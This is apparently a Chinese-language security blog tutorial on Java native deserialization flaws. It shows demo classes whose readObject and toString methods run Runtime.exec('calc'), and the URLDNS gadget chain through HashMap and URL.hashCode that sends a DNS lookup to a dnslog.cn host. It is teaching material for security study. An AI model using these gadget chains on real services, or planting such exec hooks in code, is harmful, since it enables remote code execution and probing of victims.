安全安全开发第35天:安全开发-JavaEE应用&原生反序列化&重写方法&链条分析&触发类&类加载
Yatming的博客为什么需要序列化
序列化和反序列化的设计就是用来传输数据的。
当两个进程进行通信的时候,可以通过序列化和反序列化来进行传输。
能够实现数据的持久化,通过序列化可以把数据永久的保存在硬盘上,也可以理解为通过序列化将数据保存在文件中。
应用场景:
1 2 3
| (1)想把内存中的对象保存到一个文件中或者是数据库当中。 (2)用套接字在网络上传输对象。 (3)通过 RMI 传输对象的时候。
|
简单理解序列化和反序列化
1 2
| 序列化:将内存中的对象压缩成字节流 反序列化:将字节流转换成内存中的对象
|
几种创建的序列化和反序列化协议
1 2 3 4 5 6 7 8
| java内置的writeObject() / readObject() java内置的XMLDecoder() / XMLEncoder()
还有第三方的(这也就是为什么会有fastjson这样的漏洞) Xstream SnakeYaml FastJson Jackson
|
为什么会出现反序列化安全问题
1 2 3 4 5 6 7 8 9
| 内置原生写法分析 • 重写readObject方法 • 输出调用toString方法
反序列化利用链 (1) 入口类的readObject直接调用危险方法 (2) 入口参数中包含可控类,该类有危险方法,readObject时调用 (3) 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用 (4) 构造函数/静态代码块等类加载时隐式
|
重写readObject方法 && 输出调用toString方法
UserDemo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| package com.example.seriatestdemo;
import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable;
public class UserDemo implements Serializable {
public String name="xiaodi"; public String gender="man"; public Integer age=30;
public UserDemo(String name,String gender,Integer age){ this.name=name; this.gender=gender; this.age = age; System.out.println(name); System.out.println(gender); }
public String toString() {
try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); }
return "User{" + "name='" + name + '\'' + ", gender='" + gender + '\'' + ", age=" + age + '}';
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ois.defaultReadObject(); Runtime.getRuntime().exec("calc"); }
}
|
SerializableDemo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| package com.example.seriatestdemo;
import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream;
public class SerializableDemo { public static void main(String[] args) throws IOException { UserDemo u = new UserDemo("xdsec","gay1",30); SerializableTest(u);
}
public static void SerializableTest(Object obj) throws IOException { ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("ser.txt")); oos.writeObject(obj);
}
}
|
UnserializableDemo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| package com.example.seriatestdemo;
import java.io.*;
public class UnserializableDemo { public static void main(String[] args) throws IOException, ClassNotFoundException { Object obj =UnserializableTest("ser.txt");
System.out.println(obj); }
public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename)); Object o = ois.readObject(); return o; } }
|
unserializabledemo执行流程:
- 程序启动,执行 main 方法,调用 UnserializableTest(“ser.txt”)。
- 创建 FileInputStream 读取 ser.txt,并通过 ObjectInputStream 包装。
- 调用 readObject() 开始反序列化:
- 若 UserDemo 有 readObject 方法,执行该方法(恢复成员变量 + 弹出计算器)。
- 若无,则仅恢复成员变量值。
- 反序列化完成,返回 UserDemo 对象 obj。
- 执行 System.out.println(obj),调用 UserDemo 的 toString() 方法:
- 若 toString() 中有 exec(“calc”),再次弹出计算器。
Java-安全问题-可控其他类重写方法
1.HashMap的利用(用于dns解析)
**原理:**正常代码中 创建对象HashMap
反序列化数据后,调用到原生态readObject方法
ObjectInputSteam这个类中有readObject()方法
HashMap也有readObject方法
反序列化后,调用readObject方法,结果调用的是调用 HashMap里面的readObject
POP链:
序列化对象hash 来源于自带类HashMap
- Gadget Chain:
- HashMap.readObject()
- HashMap.putVal()
- HashMap.hash()
- URL.hashCode()
hashCode 执行结果 触发访问DNS请求 如果这里是执行命令的话 就是RCE漏洞
UrLDns.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| package com.example.seriatestdemo;
import java.io.*; import java.net.MalformedURLException; import java.net.URL; import java.util.HashMap;
public class UrLDns implements Serializable { public static void main(String[] args) throws IOException, ClassNotFoundException {
HashMap<URL,Integer> hash = new HashMap<>(); URL u=new URL("http://dmo1e2.dnslog.cn"); hash.put(u,1);
SerializableTest(hash); UnserializableTest("dns.txt");
}
public static void SerializableTest(Object obj) throws IOException { ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("dns.txt")); oos.writeObject(obj);
}
public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename)); Object o = ois.readObject(); return o; } }
|

这里应该就是会有多条dns解析记录的。

将这两行代码注释的时候,再次运行代码,dnslog就不会接受到请求了。
